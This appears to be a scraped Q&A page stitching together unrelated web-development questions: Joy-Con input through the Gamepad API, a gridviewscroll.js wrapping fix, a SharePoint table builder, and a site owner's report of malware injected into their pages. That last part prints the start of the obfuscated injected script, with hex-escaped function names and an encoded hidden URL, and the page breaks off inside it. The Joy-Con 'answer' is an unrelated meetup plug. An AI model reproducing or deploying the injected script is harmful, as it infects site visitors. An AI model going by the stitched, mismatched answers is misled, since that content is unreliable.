Develop Reference

How to detect joy-con input/motion controls in HTML5 JavaScript

I am trying to create an HTML5 JavaScript game that uses Nintendo Switch Joy-Cons and motion controls. The problem is, I don't know how to detect motion controls from Joy-Cons when they are connected to my PC.
I've managed to achieve button inputs with Xbox controllers, PS4, and Joy Con using Gamepad API, but is it possible to do so with Joy-Con motion controls?
Here is the code for Gamepad API if you want to see it(Again, I'm aiming for Joy-Con motion controls):
var haveEvents = 'ongamepadconnected' in window;
var controllers = {};
function connecthandler(e) {
addgamepad(e.gamepad);
}
function addgamepad(gamepad) {
controllers[gamepad.index] = gamepad;
var d = document.createElement("div");
d.setAttribute("id", "controller" + gamepad.index);
var t = document.createElement("h1");
t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
d.appendChild(t);
var b = document.createElement("div");
b.className = "buttons";
for (var i = 0; i < gamepad.buttons.length; i++) {
var e = document.createElement("span");
e.className = "button";
//e.id = "b" + i;
e.innerHTML = i;
b.appendChild(e);
}
d.appendChild(b);
var a = document.createElement("div");
a.className = "axes";
for (var i = 0; i < gamepad.axes.length; i++) {
var p = document.createElement("progress");
p.className = "axis";
//p.id = "a" + i;
p.setAttribute("max", "2");
p.setAttribute("value", "1");
p.innerHTML = i;
a.appendChild(p);
}
d.appendChild(a);
var start = document.getElementById("start");
if (start) {
start.style.display = "none";
}
document.body.appendChild(d);
requestAnimationFrame(updateStatus);
}
function disconnecthandler(e) {
removegamepad(e.gamepad);
}
function removegamepad(gamepad) {
var d = document.getElementById("controller" + gamepad.index);
document.body.removeChild(d);
delete controllers[gamepad.index];
}
function updateStatus() {
if (!haveEvents) {
scangamepads();
}
var i = 0;
var j;
for (j in controllers) {
var controller = controllers[j];
var d = document.getElementById("controller" + j);
var buttons = d.getElementsByClassName("button");
for (i = 0; i < controller.buttons.length; i++) {
var b = buttons[i];
var val = controller.buttons[i];
var pressed = val == 1.0;
if (typeof(val) == "object") {
pressed = val.pressed;
val = val.value;
}
var pct = Math.round(val * 100) + "%";
b.style.backgroundSize = pct + " " + pct;
if (pressed) {
b.className = "button pressed";
//Pressed down code here
} else {
b.className = "button";
//Release button code here
}
}
var axes = d.getElementsByClassName("axis");
for (i = 0; i < controller.axes.length; i++) {
var a = axes[i];
a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
a.setAttribute("value", controller.axes[i] + 1);
}
}
requestAnimationFrame(updateStatus);
}
function scangamepads() {
var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
for (var i = 0; i < gamepads.length; i++) {
if (gamepads[i]) {
if (gamepads[i].index in controllers) {
controllers[gamepads[i].index] = gamepads[i];
} else {
addgamepad(gamepads[i]);
}
}
}
}
window.addEventListener("gamepadconnected", connecthandler);
window.addEventListener("gamepaddisconnected", disconnecthandler);
if (!haveEvents) {
setInterval(scangamepads, 500);
}
Using this link for reference

Wei Gao explained this in a React Knowledgeable meetup last week.
You can learn how she did it through her presentation or her slides.
You can visit the talk page for more information.

Gridviewscroll fails for long content. How do I fix it?

I am working on a project where I am creating tables from files. At times the data in the frozen cell is very long (longer than the grid size). I have it wrapped and showing correctly but when I use the gridviewscroll.js (http://gridviewscroll.aspcity.idv.tw/) the wrapping goes away and the text is stretched out. How can I fix this? in gridviewscroll.js I tried:
Commenting out this.Contentfixed.style.width
hard coding this.Contentfixed.style.width to 200 px (for example).
Nothing worked. How can I fix this issue?
Gridviewscroll.js code below:
var GridViewScrollOptions = /** #class */ (function () {
function GridViewScrollOptions() {
}
return GridViewScrollOptions;
}());
var GridViewScrollScrollPosition = /** #class */ (function () {
function GridViewScrollScrollPosition() {
}
return GridViewScrollScrollPosition;
}());
var GridViewScroll = /** #class */ (function () {
function GridViewScroll(options) {
this._initialized = false;
if (options.elementID == null)
options.elementID = "";
if (options.width == null)
options.width = "700";
if (options.height == null)
options.height = "350";
if (options.freezeColumnCssClass == null)
options.freezeColumnCssClass = "";
if (options.freezeFooterCssClass == null)
options.freezeFooterCssClass = "";
if (options.freezeHeaderRowCount == null)
options.freezeHeaderRowCount = 1;
if (options.freezeColumnCount == null)
options.freezeColumnCount = 1;
this.initializeOptions(options);
}
GridViewScroll.prototype.initializeOptions = function (options) {
this.GridID = options.elementID;
this.GridWidth = options.width;
this.GridHeight = options.height;
this.FreezeColumn = options.freezeColumn;
this.FreezeFooter = options.freezeFooter;
this.FreezeColumnCssClass = options.freezeColumnCssClass;
this.FreezeFooterCssClass = options.freezeFooterCssClass;
this.FreezeHeaderRowCount = options.freezeHeaderRowCount;
this.FreezeColumnCount = options.freezeColumnCount;
this.OnScroll = options.onscroll;
};
GridViewScroll.prototype.enhance = function () {
this.FreezeCellWidths = [];
this.IsVerticalScrollbarEnabled = false;
this.IsHorizontalScrollbarEnabled = false;
if (this.GridID == null || this.GridID == "") {
return;
}
this.ContentGrid = document.getElementById(this.GridID);
if (this.ContentGrid == null) {
return;
}
if (this.ContentGrid.rows.length < 2) {
return;
}
if (this._initialized) {
this.undo();
}
this._initialized = true;
this.Parent = this.ContentGrid.parentNode;
this.ContentGrid.style.display = "none";
if (typeof this.GridWidth == 'string' && this.GridWidth.indexOf("%") > -1) {
var percentage = parseInt(this.GridWidth);
this.Width = this.Parent.offsetWidth * percentage / 100;
}
else {
this.Width = parseInt(this.GridWidth);
}
if (typeof this.GridHeight == 'string' && this.GridHeight.indexOf("%") > -1) {
var percentage = parseInt(this.GridHeight);
this.Height = this.Parent.offsetHeight * percentage / 100;
}
else {
this.Height = parseInt(this.GridHeight);
}
this.ContentGrid.style.display = "";
this.ContentGridHeaderRows = this.getGridHeaderRows();
this.ContentGridItemRow = this.ContentGrid.rows.item(this.FreezeHeaderRowCount);
var footerIndex = this.ContentGrid.rows.length - 1;
this.ContentGridFooterRow = this.ContentGrid.rows.item(footerIndex);
this.Content = document.createElement('div');
this.Content.id = this.GridID + "_Content";
this.Content.style.position = "relative";
this.Content = this.Parent.insertBefore(this.Content, this.ContentGrid);
this.ContentFixed = document.createElement('div');
this.ContentFixed.id = this.GridID + "_Content_Fixed";
this.ContentFixed.style.overflow = "auto";
this.ContentFixed = this.Content.appendChild(this.ContentFixed);
this.ContentGrid = this.ContentFixed.appendChild(this.ContentGrid);
this.ContentFixed.style.width = String(this.Width) + "px";
if (this.ContentGrid.offsetWidth > this.Width) {
this.IsHorizontalScrollbarEnabled = true;
}
if (this.ContentGrid.offsetHeight > this.Height) {
this.IsVerticalScrollbarEnabled = true;
}
this.Header = document.createElement('div');
this.Header.id = this.GridID + "_Header";
this.Header.style.position = "relative";
this.HeaderFixed = document.createElement('div');
this.HeaderFixed.id = this.GridID + "_Header_Fixed";
this.HeaderFixed.style.overflow = "hidden";
this.Header = this.Parent.insertBefore(this.Header, this.Content);
this.HeaderFixed = this.Header.appendChild(this.HeaderFixed);
this.ScrollbarWidth = this.getScrollbarWidth();
this.prepareHeader();
this.calculateHeader();
this.Header.style.width = String(this.Width) + "px";
if (this.IsVerticalScrollbarEnabled) {
this.HeaderFixed.style.width = String(this.Width - this.ScrollbarWidth) + "px";
if (this.IsHorizontalScrollbarEnabled) {
this.ContentFixed.style.width = this.HeaderFixed.style.width;
if (this.isRTL()) {
this.ContentFixed.style.paddingLeft = String(this.ScrollbarWidth) + "px";
}
else {
this.ContentFixed.style.paddingRight = String(this.ScrollbarWidth) + "px";
}
}
this.ContentFixed.style.height = String(this.Height - this.Header.offsetHeight) + "px";
}
else {
this.HeaderFixed.style.width = this.Header.style.width;
this.ContentFixed.style.width = this.Header.style.width;
}
if (this.FreezeColumn && this.IsHorizontalScrollbarEnabled) {
this.appendFreezeHeader();
this.appendFreezeContent();
}
if (this.FreezeFooter && this.IsVerticalScrollbarEnabled) {
this.appendFreezeFooter();
if (this.FreezeColumn && this.IsHorizontalScrollbarEnabled) {
this.appendFreezeFooterColumn();
}
}
var self = this;
this.ContentFixed.onscroll = function (event) {
var scrollTop = self.ContentFixed.scrollTop;
var scrollLeft = self.ContentFixed.scrollLeft;
self.HeaderFixed.scrollLeft = scrollLeft;
if (self.ContentFreeze != null)
self.ContentFreeze.scrollTop = scrollTop;
if (self.FooterFreeze != null)
self.FooterFreeze.scrollLeft = scrollLeft;
if (self.OnScroll != null) {
self.OnScroll(scrollTop, scrollLeft);
}
};
};
Object.defineProperty(GridViewScroll.prototype, "scrollPosition", {
get: function () {
var position = new GridViewScrollScrollPosition();
position.scrollTop = this.ContentFixed.scrollTop;
position.scrollLeft = this.ContentFixed.scrollLeft;
return position;
},
set: function (gridViewScrollScrollPosition) {
var scrollTop = gridViewScrollScrollPosition.scrollTop;
var scrollLeft = gridViewScrollScrollPosition.scrollLeft;
this.ContentFixed.scrollTop = scrollTop;
this.ContentFixed.scrollLeft = scrollLeft;
if (this.ContentFreeze != null)
this.ContentFreeze.scrollTop = scrollTop;
if (this.FooterFreeze != null)
this.FooterFreeze.scrollLeft = scrollLeft;
},
enumerable: true,
configurable: true
});
GridViewScroll.prototype.getGridHeaderRows = function () {
var gridHeaderRows = new Array();
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
gridHeaderRows.push(this.ContentGrid.rows.item(i));
}
return gridHeaderRows;
};
GridViewScroll.prototype.prepareHeader = function () {
this.HeaderGrid = this.ContentGrid.cloneNode(false);
this.HeaderGrid.id = this.GridID + "_Header_Fixed_Grid";
this.HeaderGrid = this.HeaderFixed.appendChild(this.HeaderGrid);
this.prepareHeaderGridRows();
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
this.appendHelperElement(this.ContentGridItemRow.cells.item(i));
this.appendHelperElement(this.HeaderGridHeaderCells[i]);
}
};
GridViewScroll.prototype.prepareHeaderGridRows = function () {
this.HeaderGridHeaderRows = new Array();
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
var gridHeaderRow = this.ContentGridHeaderRows[i];
var headerGridHeaderRow = gridHeaderRow.cloneNode(true);
this.HeaderGridHeaderRows.push(headerGridHeaderRow);
this.HeaderGrid.appendChild(headerGridHeaderRow);
}
this.prepareHeaderGridCells();
};
GridViewScroll.prototype.prepareHeaderGridCells = function () {
this.HeaderGridHeaderCells = new Array();
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
for (var rowIndex in this.HeaderGridHeaderRows) {
var cgridHeaderRow = this.HeaderGridHeaderRows[rowIndex];
var fixedCellIndex = 0;
for (var cellIndex = 0; cellIndex < cgridHeaderRow.cells.length; cellIndex++) {
var cgridHeaderCell = cgridHeaderRow.cells.item(cellIndex);
if (cgridHeaderCell.colSpan == 1 && i == fixedCellIndex) {
this.HeaderGridHeaderCells.push(cgridHeaderCell);
}
else {
fixedCellIndex += cgridHeaderCell.colSpan - 1;
}
fixedCellIndex++;
}
}
}
};
GridViewScroll.prototype.calculateHeader = function () {
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
var gridItemCell = this.ContentGridItemRow.cells.item(i);
var helperElement = gridItemCell.firstChild;
var helperWidth = parseInt(String(helperElement.offsetWidth));
this.FreezeCellWidths.push(helperWidth);
helperElement.style.width = helperWidth + "px";
helperElement = this.HeaderGridHeaderCells[i].firstChild;
helperElement.style.width = helperWidth + "px";
}
for (var i = 0; i < this.FreezeHeaderRowCount; i++) {
this.ContentGridHeaderRows[i].style.display = "none";
}
};
GridViewScroll.prototype.appendFreezeHeader = function () {
this.HeaderFreeze = document.createElement('div');
this.HeaderFreeze.id = this.GridID + "_Header_Freeze";
this.HeaderFreeze.style.position = "absolute";
this.HeaderFreeze.style.overflow = "hidden";
this.HeaderFreeze.style.top = "0px";
this.HeaderFreeze.style.left = "0px";
this.HeaderFreeze.style.width = "";
this.HeaderFreezeGrid = this.HeaderGrid.cloneNode(false);
this.HeaderFreezeGrid.id = this.GridID + "_Header_Freeze_Grid";
this.HeaderFreezeGrid = this.HeaderFreeze.appendChild(this.HeaderFreezeGrid);
this.HeaderFreezeGridHeaderRows = new Array();
for (var i = 0; i < this.HeaderGridHeaderRows.length; i++) {
var headerFreezeGridHeaderRow = this.HeaderGridHeaderRows[i].cloneNode(false);
this.HeaderFreezeGridHeaderRows.push(headerFreezeGridHeaderRow);
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = this.HeaderGridHeaderRows[i].cells.item(columnIndex).cloneNode(true);
headerFreezeGridHeaderRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
this.HeaderFreezeGrid.appendChild(headerFreezeGridHeaderRow);
}
this.HeaderFreeze = this.Header.appendChild(this.HeaderFreeze);
};
GridViewScroll.prototype.appendFreezeContent = function () {
this.ContentFreeze = document.createElement('div');
this.ContentFreeze.id = this.GridID + "_Content_Freeze";
this.ContentFreeze.style.position = "absolute";
this.ContentFreeze.style.overflow = "hidden";
this.ContentFreeze.style.top = "0px";
this.ContentFreeze.style.left = "0px";
this.ContentFreeze.style.width = "";
this.ContentFreezeGrid = this.HeaderGrid.cloneNode(false);
this.ContentFreezeGrid.id = this.GridID + "_Content_Freeze_Grid";
this.ContentFreezeGrid = this.ContentFreeze.appendChild(this.ContentFreezeGrid);
var freezeCellHeights = [];
var paddingTop = this.getPaddingTop(this.ContentGridItemRow.cells.item(0));
var paddingBottom = this.getPaddingBottom(this.ContentGridItemRow.cells.item(0));
for (var i = 0; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var helperElement = void 0;
if (gridItemCell.firstChild.className == "gridViewScrollHelper") {
helperElement = gridItemCell.firstChild;
}
else {
helperElement = this.appendHelperElement(gridItemCell);
}
var helperHeight = parseInt(String(gridItemCell.offsetHeight - paddingTop - paddingBottom));
freezeCellHeights.push(helperHeight);
var cgridItemRow = gridItemRow.cloneNode(false);
var cgridItemCell = gridItemCell.cloneNode(true);
if (this.FreezeColumnCssClass != null || this.FreezeColumnCssClass != "")
cgridItemRow.className = this.FreezeColumnCssClass;
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = gridItemRow.cells.item(columnIndex).cloneNode(true);
cgridItemRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
this.ContentFreezeGrid.appendChild(cgridItemRow);
}
for (var i = 0; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var cgridItemRow = this.ContentFreezeGrid.rows.item(i);
var cgridItemCell = cgridItemRow.cells.item(0);
var helperElement = gridItemCell.firstChild;
helperElement.style.height = String(freezeCellHeights[i]) + "px";
helperElement = cgridItemCell.firstChild;
helperElement.style.height = String(freezeCellHeights[i]) + "px";
}
if (this.IsVerticalScrollbarEnabled) {
this.ContentFreeze.style.height = String(this.Height - this.Header.offsetHeight - this.ScrollbarWidth) + "px";
}
else {
this.ContentFreeze.style.height = String(this.ContentFixed.offsetHeight - this.ScrollbarWidth) + "px";
}
this.ContentFreeze = this.Content.appendChild(this.ContentFreeze);
};
GridViewScroll.prototype.appendFreezeFooter = function () {
this.FooterFreeze = document.createElement('div');
this.FooterFreeze.id = this.GridID + "_Footer_Freeze";
this.FooterFreeze.style.position = "absolute";
this.FooterFreeze.style.overflow = "hidden";
this.FooterFreeze.style.left = "0px";
this.FooterFreeze.style.width = String(this.ContentFixed.offsetWidth - this.ScrollbarWidth) + "px";
this.FooterFreezeGrid = this.HeaderGrid.cloneNode(false);
this.FooterFreezeGrid.id = this.GridID + "_Footer_Freeze_Grid";
this.FooterFreezeGrid = this.FooterFreeze.appendChild(this.FooterFreezeGrid);
this.FooterFreezeGridHeaderRow = this.ContentGridFooterRow.cloneNode(true);
if (this.FreezeFooterCssClass != null || this.FreezeFooterCssClass != "")
this.FooterFreezeGridHeaderRow.className = this.FreezeFooterCssClass;
for (var i = 0; i < this.FooterFreezeGridHeaderRow.cells.length; i++) {
var cgridHeaderCell = this.FooterFreezeGridHeaderRow.cells.item(i);
var helperElement = this.appendHelperElement(cgridHeaderCell);
helperElement.style.width = String(this.FreezeCellWidths[i]) + "px";
}
this.FooterFreezeGridHeaderRow = this.FooterFreezeGrid.appendChild(this.FooterFreezeGridHeaderRow);
this.FooterFreeze = this.Content.appendChild(this.FooterFreeze);
var footerFreezeTop = this.ContentFixed.offsetHeight - this.FooterFreeze.offsetHeight;
if (this.IsHorizontalScrollbarEnabled) {
footerFreezeTop -= this.ScrollbarWidth;
}
this.FooterFreeze.style.top = String(footerFreezeTop) + "px";
};
GridViewScroll.prototype.appendFreezeFooterColumn = function () {
this.FooterFreezeColumn = document.createElement('div');
this.FooterFreezeColumn.id = this.GridID + "_Footer_FreezeColumn";
this.FooterFreezeColumn.style.position = "absolute";
this.FooterFreezeColumn.style.overflow = "hidden";
this.FooterFreezeColumn.style.left = "0px";
this.FooterFreezeColumn.style.width = "";
this.FooterFreezeColumnGrid = this.HeaderGrid.cloneNode(false);
this.FooterFreezeColumnGrid.id = this.GridID + "_Footer_FreezeColumn_Grid";
this.FooterFreezeColumnGrid = this.FooterFreezeColumn.appendChild(this.FooterFreezeColumnGrid);
this.FooterFreezeColumnGridHeaderRow = this.FooterFreezeGridHeaderRow.cloneNode(false);
this.FooterFreezeColumnGridHeaderRow = this.FooterFreezeColumnGrid.appendChild(this.FooterFreezeColumnGridHeaderRow);
if (this.FreezeFooterCssClass != null)
this.FooterFreezeColumnGridHeaderRow.className = this.FreezeFooterCssClass;
var columnIndex = 0;
var columnCount = 0;
while (columnCount < this.FreezeColumnCount) {
var freezeColumn = this.FooterFreezeGridHeaderRow.cells.item(columnIndex).cloneNode(true);
this.FooterFreezeColumnGridHeaderRow.appendChild(freezeColumn);
columnCount += freezeColumn.colSpan;
columnIndex++;
}
var footerFreezeTop = this.ContentFixed.offsetHeight - this.FooterFreeze.offsetHeight;
if (this.IsHorizontalScrollbarEnabled) {
footerFreezeTop -= this.ScrollbarWidth;
}
this.FooterFreezeColumn.style.top = String(footerFreezeTop) + "px";
this.FooterFreezeColumn = this.Content.appendChild(this.FooterFreezeColumn);
};
GridViewScroll.prototype.appendHelperElement = function (gridItemCell) {
var helperElement = document.createElement('div');
helperElement.className = "gridViewScrollHelper";
while (gridItemCell.hasChildNodes()) {
helperElement.appendChild(gridItemCell.firstChild);
}
return gridItemCell.appendChild(helperElement);
};
GridViewScroll.prototype.getScrollbarWidth = function () {
var innerElement = document.createElement('p');
innerElement.style.width = "100%";
innerElement.style.height = "200px";
var outerElement = document.createElement('div');
outerElement.style.position = "absolute";
outerElement.style.top = "0px";
outerElement.style.left = "0px";
outerElement.style.visibility = "hidden";
outerElement.style.width = "200px";
outerElement.style.height = "150px";
outerElement.style.overflow = "hidden";
outerElement.appendChild(innerElement);
document.body.appendChild(outerElement);
var innerElementWidth = innerElement.offsetWidth;
outerElement.style.overflow = 'scroll';
var outerElementWidth = innerElement.offsetWidth;
if (innerElementWidth === outerElementWidth)
outerElementWidth = outerElement.clientWidth;
document.body.removeChild(outerElement);
return innerElementWidth - outerElementWidth;
};
GridViewScroll.prototype.isRTL = function () {
var direction = "";
if (window.getComputedStyle) {
direction = window.getComputedStyle(this.ContentGrid, null).getPropertyValue('direction');
}
else {
direction = this.ContentGrid.currentStyle.direction;
}
return direction === "rtl";
};
GridViewScroll.prototype.getPaddingTop = function (element) {
var value = "";
if (window.getComputedStyle) {
value = window.getComputedStyle(element, null).getPropertyValue('padding-Top');
}
else {
value = element.currentStyle.paddingTop;
}
return parseInt(value);
};
GridViewScroll.prototype.getPaddingBottom = function (element) {
var value = "";
if (window.getComputedStyle) {
value = window.getComputedStyle(element, null).getPropertyValue('padding-Bottom');
}
else {
value = element.currentStyle.paddingBottom;
}
return parseInt(value);
};
GridViewScroll.prototype.undo = function () {
this.undoHelperElement();
for (var _i = 0, _a = this.ContentGridHeaderRows; _i < _a.length; _i++) {
var contentGridHeaderRow = _a[_i];
contentGridHeaderRow.style.display = "";
}
this.Parent.insertBefore(this.ContentGrid, this.Header);
this.Parent.removeChild(this.Header);
this.Parent.removeChild(this.Content);
this._initialized = false;
};
GridViewScroll.prototype.undoHelperElement = function () {
for (var i = 0; i < this.ContentGridItemRow.cells.length; i++) {
var gridItemCell = this.ContentGridItemRow.cells.item(i);
var helperElement = gridItemCell.firstChild;
while (helperElement.hasChildNodes()) {
gridItemCell.appendChild(helperElement.firstChild);
}
gridItemCell.removeChild(helperElement);
}
if (this.FreezeColumn) {
for (var i = 2; i < this.ContentGrid.rows.length; i++) {
var gridItemRow = this.ContentGrid.rows.item(i);
var gridItemCell = gridItemRow.cells.item(0);
var helperElement = gridItemCell.firstChild;
while (helperElement.hasChildNodes()) {
gridItemCell.appendChild(helperElement.firstChild);
}
gridItemCell.removeChild(helperElement);
}
}
};
return GridViewScroll;
}());

I figured it out.. in my html I added the max-width parameter. When I added this to the CSS it was ignoring it but when I added it directly in the html it worked.
<td style="max-width:190px; min-width:50px;">#data[column].ToString()</td>

Create a table to encompass part of data

I am trying to take part group of variables and add the information to a table. I have been able to add a table to encompass all the information displayed, however it does not place the information into a table that I want to see. Here is what the inital looks like (to new here to imput images): http://i.imgur.com/FxB8GMx.png - the red boxes is the information that I want divided into a table.
The information is pulled from a Sharepoint database using a soap function. I am including the place where all the variables are called:
function processResultOON(xData, status)
{
var result, subresult, outString="";
var ListTemp = new Array();
var ListUpdated = new Array();
var floatlat;
var floatlng;
var floatlatdist;
var floatlngdist;
var floatdist;
var floatdiststr;
var titletxt;
var biznametxt;
var addresstxt;
var citytxt;
var phonetxt;
var faxtxt;
var websitetxt;
var notestxt;
var cleanstr;
var ndx;
var placendx;
var swapped;
var loopcnt;
var maxndx;
var tempbizname;
var tempaddr;
var tempcity;
var temptitle;
var tempphone;
var tempfax;
var tempnotes;
var tempwebsite;
var tempdist;
var templat;
var templon;
var floattarglat;
var floattarglon;
var floatsamplat;
var floatsamplon;
var posel;
var vccsel;
var towltsel;
var towmedsel;
var towhvysel;
var lowboysel;
var dolliessel;
var motorcyclesel;
var tireltsel;
var tiremedsel;
var tirehvysel;
var winchsel;
var fuelsel;
var lockssel;
var locksmithsel;
var jumpsel;
var selOVN;
var notesstage;
var clearanceheight;
var currentinsertptr;
var currentlowdistptr;
var lowdistcheck;
var currentlowdist;
var checkptr;
var dropoutndx;
var title_ndx = 0;
var city_ndx = 1;
var businessname_ndx = 2;
var address_ndx = 3;
var phone_ndx = 4;
var fax_ndx = 5;
var notes_ndx = 6;
var lat_ndx = 7;
var lon_ndx = 8;
var website_ndx = 9;
var po_ndx = 10;
var vcc_ndx = 11;
var lowboy_ndx = 12;
var dollies_ndx = 13;
var motorcycle_ndx = 14;
var winch_ndx = 15;
var fuel_ndx = 16;
var locks_ndx = 17;
var locksmith_ndx = 18;
var jump_ndx = 19;
var OVN_ndx = 20;
var towlt_ndx = 21;
var towmed_ndx = 22;
var towhvy_ndx = 23;
var tirelt_ndx = 24;
var tiremed_ndx = 25;
var tirehvy_ndx = 26;
var clearance_ndx = 27;
var dist_ndx = 28;
var arrayndx;
var addtolist;
var addpin;
var d2 = new Date();
n2 = d2.getTime();
var count = 0;
try
{
if (status == "success" && result)
{
$(result).find("rs\\:data").each(function()
{
subresult = $(this);
$(subresult).find("z\\:row").each(function()
{
count++;
});
ListI = new Array(count);
for(var i=0;i<ListI.length;i++)
{
ListI[i] = new Array(29);
}
var d2a1 = new Date();
n2a1 = d2a1.getTime();
arrayndx = 0;
$(subresult).find("z\\:row").each(function()
{
ListI[arrayndx][title_ndx] = $(this).attr("ows_Title")
ListI[arrayndx][city_ndx] = $(this).attr("ows_City")
ListI[arrayndx][businessname_ndx] = $(this).attr("ows_Business_x0020_Name")
ListI[arrayndx][address_ndx] = $(this).attr("ows_Address")
ListI[arrayndx][phone_ndx] = $(this).attr("ows_Phone")
ListI[arrayndx][fax_ndx] = $(this).attr("ows_Fax")
ListI[arrayndx][notes_ndx] = $(this).attr("ows_Notes")
ListI[arrayndx][lat_ndx] = $(this).attr("ows_Lat")
ListI[arrayndx][lon_ndx] = $(this).attr("ows_Lon")
ListI[arrayndx][website_ndx] = $(this).attr("ows_Website")
ListI[arrayndx][po_ndx] = $(this).attr("ows_PO")
ListI[arrayndx][vcc_ndx] = $(this).attr("ows_VCC")
ListI[arrayndx][lowboy_ndx] = $(this).attr("ows_Lowboy")
ListI[arrayndx][dollies_ndx] = $(this).attr("ows_Dollies")
ListI[arrayndx][motorcycle_ndx] = $(this).attr("ows_Motorcycle")
ListI[arrayndx][winch_ndx] = $(this).attr("ows_Winch")
ListI[arrayndx][fuel_ndx] = $(this).attr("ows_Fuel")
ListI[arrayndx][locks_ndx] = $(this).attr("ows_Locks")
ListI[arrayndx][locksmith_ndx] = $(this).attr("ows_Locksmith")
ListI[arrayndx][jump_ndx] = $(this).attr("ows_Jump")
ListI[arrayndx][OVN_ndx] = $(this).attr("ows_OVN")
ListI[arrayndx][towlt_ndx] = $(this).attr("ows_Tow_x0020_light")
ListI[arrayndx][towmed_ndx] = $(this).attr("ows_Tow_x0020_medium")
ListI[arrayndx][towhvy_ndx] = $(this).attr("ows_Tow_x0020_heavy")
ListI[arrayndx][tirelt_ndx] = $(this).attr("ows_Tires_x0020_light")
ListI[arrayndx][tiremed_ndx] = $(this).attr("ows_Tires_x0020_medium")
ListI[arrayndx][tirehvy_ndx] = $(this).attr("ows_Tires_x0020_heavy")
ListI[arrayndx][clearance_ndx] = $(this).attr("ows_Clearance")
ListI[arrayndx][dist_ndx] = 0.0;
arrayndx++;
}
);
});
arrayndx = 0;
outheader="<tr>"
for (j in ListI[0])
{
outheader = outheader + "<th>" + j +"</th>";
}
outheader = outheader + "</tr>"
outString = outString + "<table>";
The information is then displayed to the show as it does in the image above using the below code. It is this information that I want to have put into a table. The question would be how do I put this information in a table without including the above unrelated information into the table?
posel = ListTemp[i][po_ndx];
vccsel = ListTemp[i][vcc_ndx];
towltsel = ListTemp[i][towlt_ndx];
towmedsel = ListTemp[i][towmed_ndx];
towhvysel = ListTemp[i][towhvy_ndx];
lowboysel = ListTemp[i][lowboy_ndx];
dolliessel = ListTemp[i][dollies_ndx];
motorcyclesel = ListTemp[i][motorcycle_ndx];
tireltsel = ListTemp[i][tirelt_ndx];
tiremedsel = ListTemp[i][tiremed_ndx];
tirehvysel = ListTemp[i][tirehvy_ndx];
winchsel = ListTemp[i][winch_ndx];
fuelsel = ListTemp[i][fuel_ndx];
lockssel = ListTemp[i][locks_ndx];
locksmithsel = ListTemp[i][locksmith_ndx];
jumpsel = ListTemp[i][jump_ndx];
selOVN = ListTemp[i][OVN_ndx];
clearanceheight = ListTemp[i][clearance_ndx];
notesstage = "";
if (posel == 1)
{
notesstage = notesstage + "<strong>PO </strong>";
}
if (vccsel == 1)
{
notesstage = notesstage + "VCC ";
}
if ((towltsel == 1) || (towmedsel == 1) || (towhvysel == 1))
{
notesstage = notesstage + "<b>Tow</b>: ";
if (towltsel == 1)
{
notesstage = notesstage + "<font color=#892EE4><b>LD </b></font>";
}
if (towmedsel == 1)
{
notesstage = notesstage + "<font color=#008080><b>MD </b></font>";
}
if (towhvysel == 1)
{
notesstage = notesstage + "<font color=#1FCB4A><b>HD </b></font>";
}
}
if (lowboysel == 1)
{
notesstage = notesstage + "Lowboy ";
}
if (dolliessel == 1)
{
notesstage = notesstage + "Dollies ";
}
if (motorcyclesel == 1)
{
notesstage = notesstage + "Motorcycle ";
}
if ((tireltsel == 1) || (tiremedsel == 1) || (tirehvysel == 1))
{
notesstage = notesstage + "<b>Tires</b> ";
if (tireltsel == 1)
{
notesstage = notesstage + "<font color=#892EE4><b>LD </b></font>";
}
if (tiremedsel == 1)
{
notesstage = notesstage + "<font color=#008080><b>MD </b></font>";
}
if (tirehvysel == 1)
{
notesstage = notesstage + "<font color=#1FCB4A><b>HD </b></font>";
}
}

Javascript malware injection, how did I get it and how do I decrypt it? [closed]

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
For some reason I have yet to find out all .html and .php files on my server have been altered to include the following Javascript (I have beautified it with http://jsbeautifier.org/):
<script type="text/javascript">
if ('GulVG' == 'dvLWnC') LCXW = 'ukNoT';
if ('QjTy' == 'OGvoYK') iBPba = 'YmwGf';
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
function NEHbsc() {
var RQrwz = 'ufOn';
if ('Juxm' == 'mHxLm') Niaf();
}
var px1_var = "1px";
var uvWXHd = 'pDito';
if ('skhYX' == 'Gczk') hYkhb();
var rGsu;
var hitxMCSTc = "pa\x72s\x65\x49nt";
var WNOgK = "b\x6fdy";
var oqHu;
var NPOXa = 39;
var HGBXMBYkq = "co\x6e\x73tructor";
var CodwDw;
var adBe = 261;
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode";
var gmCUwm = 6;
var BcWka = 'prssL';
var SjIk = 'DcwGHM';
var UBzc;
var pubYymvCW = "a\x70\x70en\x64C\x68ild";
var EVHJIA = 'nGzZ';
if ('NWGB' == 'XlySU') AWtq();
var LnJbDi = "";
if ('jUcBg' == 'tFKsdn') fRhEH = 'PEeA';
var LgLiBeb = "\x73li\x63e";
if ('cXqZe' == 'hdvrt') KIkyJ();
var appVersion_var = "\x61ppV\x65r\x73i\x6fn";
var DaGd = 'WJdpuS';
var UNLOOk = 118;
var px0_var = "0\x70x";
var yufL = 268;
if ('vlwmVU' == 'dtNS') dFobAh = 'dbES';
var coiJVUL = (function () {
function HMtGY() {}
var JWuN = 'Dztvmh';
var JZEGM;
return this;
function FeZd() {
var IZZFyk = 'LOij';
